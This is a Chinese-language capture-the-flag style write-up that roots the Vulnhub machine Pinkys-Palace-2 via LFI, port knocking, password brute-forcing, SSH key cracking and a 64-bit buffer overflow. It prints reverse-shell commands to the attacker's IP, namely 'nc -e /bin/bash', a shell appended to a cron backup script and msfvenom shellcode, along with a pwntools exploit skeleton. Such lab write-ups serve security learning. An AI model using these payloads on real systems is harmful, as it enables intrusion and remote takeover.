Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目二十七:Pinkys-Palace-2(LFI,端口敲震,ssh爆破,64位缓冲区溢出)
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月30日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
一、梳理流程
- 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
- 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
- 二次收集(基于已得到的服务或者主机再次信息收集)
- 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
- 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)
二、web突破
信息收集
发现开启了80和3个关闭的端口,关闭的端口想到端口敲震
对web页面访问,发现这是一个wp站
作者说靶场需要执行命令加一个host:
echo 192.168.247.158 pinkydb | sudo tee -a /etc/hosts
先用awvs和wpscan扫一下
dirb爆破
dirb http://pinkydb/ /usr/share/dirb/wordlists/big.txt
出来了一个wp的后台登陆页面,接下来想知道账号密码
wpscan扫描
wpscan --url http://pinkydb/ -eu --api-token FcYxHGcLoHeQBE1dgySYBdHmAaQjynt7iIa1qsRG4fs
dirb继续爆,发现
http://pinkydb/wp-login.php ----后台登录地址
http://pinkydb/secret/ ----存在bambam.txt文件
8890 7000 666
一看这玩意就是端口敲震,那就敲呗
pinkydb
但是这个顺序不对,反正一共9种可能,配合上nmap -p- 试试就行
nmap -p4655,7654,31337 192.168.247.158 -A
4655/tcp open ssh OpenSSH 7.4p1 ---ssh登录
7654/tcp open http nginx 1.10.3 ---nginx中间件服务
31337/tcp open Elite? 这是一个头部信息
接下来又是僵局,只剩下一个ssh爆破或者ngnix的网站服务,先看看好进行的nginx
这里还看到了下面写的31337可能是我们的后门,但是不能访问,就先放着,但估计最后·突破点是这个31337的端口服务
二次爆破目录
有了新的web第一件事就是爆破目录
继续dirb爆破7654端口!
dirb http://pinkydb:7654/ /usr/share/dirb/wordlists/big.txt
发现apache目录!
枚举页面:curl http://192.168.247.158:7654/apache/wp-config.php
获取数据库信息
/** MySQL database username */
define('DB_USER', 'pinkywp');
/** MySQL database password */
define('DB_PASSWORD', 'pinkydbpass_wp');
数据库用户名密码泄露!!通过ssh、后台登录页面都无法进入,也未开启3306端口!
稍微捋捋现在有的信息
一组账号密码:pinkywp pinkydbpass_wp
还有一个单独的账号 pinky1337
还有ssh,一个wp的登陆页面,一个nginx的登陆页面(可能可以爆破和sql注入),还有很多的东西在登录到wp之后应该可以提权,ssh可能可以爆破,
爆破登录
bp抓包,账号未知,不敢确定之前那个pinky123是账号
用cewl爬取页面
cewl http://pinkydb > 1.txt
不同的响应码,不同的长度
爆破成功
看到一个什么玩意的rsa,那就拿这个登录呗
搞到本地
这tm是什么鬼。。。。。。rsa还有密码
john暴力破解ssh:
locate ssh2john.py
/usr/share/john/ssh2john.py id_rsa > rong_rsa 这是把rsa的HASH信息提取出来
john --wordlist=/usr/share/wordlists/rockyou.txt rong_rsa
无脑用rockyou即可
secretz101 (id_rsa)
成功爆破获得密码信息!
三、提权
1.第一台提权
看到一个note.txt
Pinky made me this program so I can easily send messages to him.
还有一个qsub的64位二进制可执行文件,但是我们没有权限用它,也传不出来,gdb也没有,ls -la发现这个玩意也没啥权限。。。。。那就试试内核提权,那就上传linpeas.sh和les.sh
python -m SimpleHTTPServer 8081
wget http://192.168.4.171:8081/linpeas.sh
chmod +x linpeas.sh
1)存在用户:
demon、pinky、stefano
2)127.0.0.1:3306
pinkywp
pinkydbpass_wp
mysql -upinkywp -ppinkydbpass_wp
里面也没有啥有用的信息
然后那个可执行文件执行以下是这样,这肯定是特殊设置了,我熄灭的希望之火又重新燃烧开了。,但是目前没思路了。根据别的大佬写的WP,我发现在这里我忽视了一个点。。。LFI
LFI利用
这个url其实很显眼,但是我当时拿到了key我就没管了。所以这个事故告诉我们,少就是多,慢就是快
?1337=…/…/…/…/…/etc/passwd
发现可以
那就访问一下那个qsub文件
?1337=/home/stefano/tools/qsub
/bin/echo %s >> /home/pinky/messages/stefano_msg.txt%s TERM[+] Input
Password: %sBad hacker! Go away![+] Welcome to Question Submit![!]
Incorrect Password!
翻译一下,就是把一个什么玩意输入到了一个txt文件,然后密码是TERM好像,然后咋样就输出你是一个坏黑客,或者说欢迎登录
那基本判断出这里可以远程代码执行,然后密码就是TERM
但是我构造了这样的一种输入
./qsub '$(nc -e /bin/bash 192.168.247.129 9999)'
密码是TERM,
但是显示我是个坏黑客?
那就是密码不对应该,因为坏黑客是验证密码环节。咱们一开始的命令没错
谷歌了一下
term是终端
xterm 是图形界面baivirtual terminalvirtual terminal
,是一个协议,一个接bai口,用于在各种连接du环境中提zhi供如同本机控制台dao一样的界面,文字操作系统与外部最主要的接口就叫做shell。shell是操作系统最外面的一层。shell管理你与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结果。
那密码是这个?我咋这么不相信
但是,成功了
当然了本地也要开端口接shell
nc -vlp 9999
2.第二台提权
首先就是手工的信息枚举
id
ls -la
cd ../..
ls -la
sudo -l
find /-perm -4000 2>/dev/null
find / -name 'pinky' 2>/dev/null |grep -v "Permission Denied/|poc"
find / -group 'pinky' 2>/dev/null
还有好多,我感觉可以写一个命令合集
然后再跑脚本,只发现了开了3306的数据库口子,但是账号密码我们都拿到了,就没去看
首先先看一下上一个机器里面qsub文件输出的东西去哪了,发现是一段话,鼓励
id发现用户权限不足啊,而且很奇怪,可能是自己的权限被隐藏了
newgrp
出来了
最高权限运行的没有
发现了按pinky组权限运行的文件,backup是备份的意思,在linpeas.sh跑都会被标红的那种
ls -la 发现这是个另外一个用户的权限,之前跑脚本也跑出来了还有一个用户,那就先利用这个拿到另外一个用户的shell吧
看一下这是个什么牛马,简单分析一下就是删除当前压缩包然后再压缩一个包,那这必须是个计划任务,定期备份
我跟个傻子一样直接打开想修改,结果shell不行,我直接头裂。。
推荐下面的命令
echo "nc -e /bin/bash 192.168.247.129 6666" >> backup.sh
两个>是写到尾巴,一个>是覆盖,有时候可能会那个啥
本地开启6666接shell
拿到手以后稳定一下
python -c 'import pty; pty.spawn("/bin/bash")'
注意,要么就去那个back.sh目录下执行命令,要么就写绝对路径
我这坑了好久
拿到shell了
crontab -l
查看一下计划任务
cron之前写过,就是计划任务
确实存在一个五分钟的计划任务
3.第三台机器提权
id
ls -la
cd ../..
ls -la
sudo -l
find /-perm -4000 2>/dev/null
find / -name 'demon' 2>/dev/null |grep -v "Permission Denied/|poc"
find / -group 'demon' 2>/dev/null
还有好多,我感觉可以写一个命令合集
脚本跑出来的信息,这个panel文件有问题
16K -rwxr-x--- 1 demon demon 13K Mar 17 2018 /daemon[0m/panel
-rwxr-x--- 1 demon demon 13280 Mar 17 2018 panel
ps aux | grep panel
发现是root运行,那就妥了,应该是最后一关了
nc传文件
kail执行命令:nc -lvp 4666 > panel
靶机执行命令:nc 192.168.16.143 4666 < panel
缓冲区溢出利用
1. 先运行一下,看看能干吗
发现能任意输入
2.查看是否拥有可用于缓冲区溢出的函数
info functions
发现了strcpy函数
3. gdb 中run一下,看看信息
但是看到了上面这一段信息,看到是一个开进程啥的,这个时候应该想到到目前为止很大嫌疑但是不知道是干嘛的31337端口
为了验证猜想
pkill -9 panel; pkill -i panel --强制关闭文件
netstat -ntulp 查看端口情况
看到我们也确实开了一个31337端口,那就实锤了,这个文件开启的服务就是31337,那接下来我们要干的事就是在我们本地的31337测试
4. 判断能否溢出
nc -v localhost 31337
输入一堆,发现程序报错
5.找溢出点
pkill -9 panel; pkill -i panel --先关闭,每次执行完最好都强制关一次,防止出错
gdb中输入pattern_creat 200
出现如下,找stack(堆)的第一条,注意不要复制/n后面的信息
然后pattern_offset 【粘贴】
得到溢出位置是120
6.验证填充情况
from pwn import * --要先pip install pwn装组件
HOST, PORT = "localhost", 31337
payload = ''
payload += 'A'*120
payload += 'BBBB0000'
payload += 'C'*30
r = remote(HOST,PORT)
r.recvuntil("=> ")
r.sendline(payload)
这里要说一下,因为是64位系统,所以会优先寻找寄存器,所以在做最终payload的时候就不需要B了
但是我们同时也看到python执行有报错,类型不符,这个一会再处理
7.寻找jmp rsp
那么这个地址就是我们放在RIP中的地址,可以跳转到payload
8. 生成反弹payload
这里其实是有小小的缺陷的,我没有找坏字符,只是简单的排除了三个肯定是坏字符的坏字符
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.247.129 LPORT=9898 -b '\x00\x0a\x0b' -f python
在这两个刚才报错的前面加个b,代表强制全转成byte
然后第二个payload之所以这样写是为了用几个A把msf生成的payload剩下的RBP空间填满,不然还会有空的地方,导致RIP的不是JMP RSP
然后运行一下,看到我们的kali没有开外连,所以给shell,然后接下来我们吧py的host改一下,再跑就ok了